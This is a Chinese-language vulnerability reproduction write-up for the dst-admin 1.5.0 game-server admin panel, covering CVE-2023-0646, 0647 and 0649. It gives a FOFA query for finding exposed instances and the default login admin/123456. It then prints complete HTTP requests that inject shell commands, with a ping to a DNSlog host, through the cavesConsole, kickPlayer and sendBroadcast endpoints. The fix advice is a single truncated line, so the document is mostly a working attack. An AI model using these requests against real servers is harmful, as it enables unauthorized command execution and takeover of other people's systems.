0x01 产品简介
dst-admin饥荒管理后台是qinming99个人开发者的一个用 Java 语言编写的 web 程序。
0x02 漏洞概述
dst-admin饥荒管理后台kickPlayer、cavesConsole、sendBroadcast等接口处配置不当，导致破解口令后的攻击者可以进行命令注入，获取服务器权限。
0x03 影响范围
dst-admin 1.5.0版本
0x04 复现环境
FOFA：title=="饥荒管理后台"
0x05 漏洞复现
弱口令登录
admin/123456
CVE-2023-0646
POST /home/cavesConsole HTTP/1.1
Host: your-ip
Content-Type: application/json
Cookie: JSESSIONID=65b0f393-708f-4e03-b564-52b1bc0b683a;rememberMe=deleteMe;
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
{"command":"\"&ping Dnslog;\""}
CVE-2023-0647
GET /home/kickPlayer?userId=%5C%22)%5Cn%22%26ping+Dnglog%26screen%20-S%20%22DST_CAVES%22%20-p%200%20-X%20stuff%20%22TheNet%3AKick(%5C%22 HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: JSESSIONID=93ab200b-a15d-4ac6-8138-abfa1262b5f5;rememberMe=deleteMe;
CVE-2023-0649
GET /home/sendBroadcast?message=%5C%22)%5Cn%22%26ping+dnslog%26screen%20-S%20%22DST_CAVES%22%20-p%200%20-X%20stuff%20%22TheNet%3AKick(%5C%22 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: JSESSIONID=94d5d20b-036a-41bf-a77c-334d2be0ed80;rememberMe=deleteMe;
Accept-Encoding: gzip
0x06 修复建议
目前厂商已发布升级补丁以修复漏洞，